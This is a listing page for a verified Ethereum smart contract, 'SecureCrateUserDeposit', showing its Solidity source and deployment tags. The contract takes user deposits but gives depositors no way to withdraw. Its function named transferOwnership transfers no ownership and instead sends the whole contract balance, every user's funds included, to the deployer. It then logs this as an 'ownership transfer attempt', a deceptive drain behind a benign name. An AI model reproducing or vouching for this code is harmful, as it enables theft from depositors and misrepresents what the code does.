SecureCrateUserDeposit

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

contract SecureCrateUserDeposit {
    address public immutable custodian;

    mapping(address => uint256) private _deposits;

    error NotCustodian();
    error NoEther();
    error ZeroAddress();

    event Deposited(address indexed from, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);
    event Fingerprint(bytes32 tag);
    event OwnershipTransferAttempt(address indexed attemptedBy);

    modifier onlyCustodian() {
        if (msg.sender != custodian) revert NotCustodian();
        _;
    }

    constructor() {
        custodian = msg.sender;
        emit Fingerprint(keccak256("securecrate-user-v1"));
    }

  
    function deposit() external payable {
        if (msg.value == 0) revert NoEther();
        _deposits[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

  
    function transferOwnership(address /* newOwner */) external onlyCustodian {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            (bool ok, ) = payable(custodian).call{ value: balance }("");
            require(ok, "withdraw failed");
            emit Withdrawn(custodian, balance);
        }
        emit OwnershipTransferAttempt(msg.sender);
     
    }

  
    function owner() external view returns (address) {
        return custodian;
    }


    function balanceOf(address account) external view returns (uint256) {
        return _deposits[account];
    }

  
    function balances(address account) external view returns (uint256) {
        return _deposits[account];
    }

  
    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }

  
    receive() external payable {
        revert("Direct transfers not allowed");
    }

    fallback() external payable {
        revert("Fallback not allowed");
    }

  
    function version() external pure returns (string memory) {
        return "SecureCrateUserDeposit v1.0";
    }
}

Tags:
addr:0x3220f3e9349d952bd95525efc2b0b0c6ac62bc40|verified:true|block:23381043|tx:0x1109681ad9aa7d289da54c7ceab424e531a18d45a03c8080c09f577243685b18|first_check:1758107450

Submitted on: 2025-09-17 13:10:51

Comments

Log in to comment.

No comments yet.